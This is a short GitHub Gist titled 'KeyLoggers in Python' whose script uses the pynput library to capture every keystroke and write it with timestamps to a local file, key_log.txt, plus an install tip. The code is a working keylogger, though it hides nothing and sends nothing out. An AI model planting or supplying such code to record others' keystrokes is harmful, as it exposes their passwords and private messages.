Skip to content

Instantly share code, notes, and snippets.

@MohapatraShibu
Created May 4, 2021 07:37
Show Gist options
  • Save MohapatraShibu/ec47b07e826e36e45c5202d2f8591099 to your computer and use it in GitHub Desktop.
Save MohapatraShibu/ec47b07e826e36e45c5202d2f8591099 to your computer and use it in GitHub Desktop.
KeyLoggers in Python
# pip install pynput
from pynput.keyboard import Key, Listener
import logging
log_dir=""
logging.basicConfig(filename=(log_dir+"key_log.txt"),level=logging.DEBUG,
format='%(asctime)s:%(message)s:')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
@MohapatraShibu
Copy link
Author

First, install pynput in CMD using the command below:

pip install pynput

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment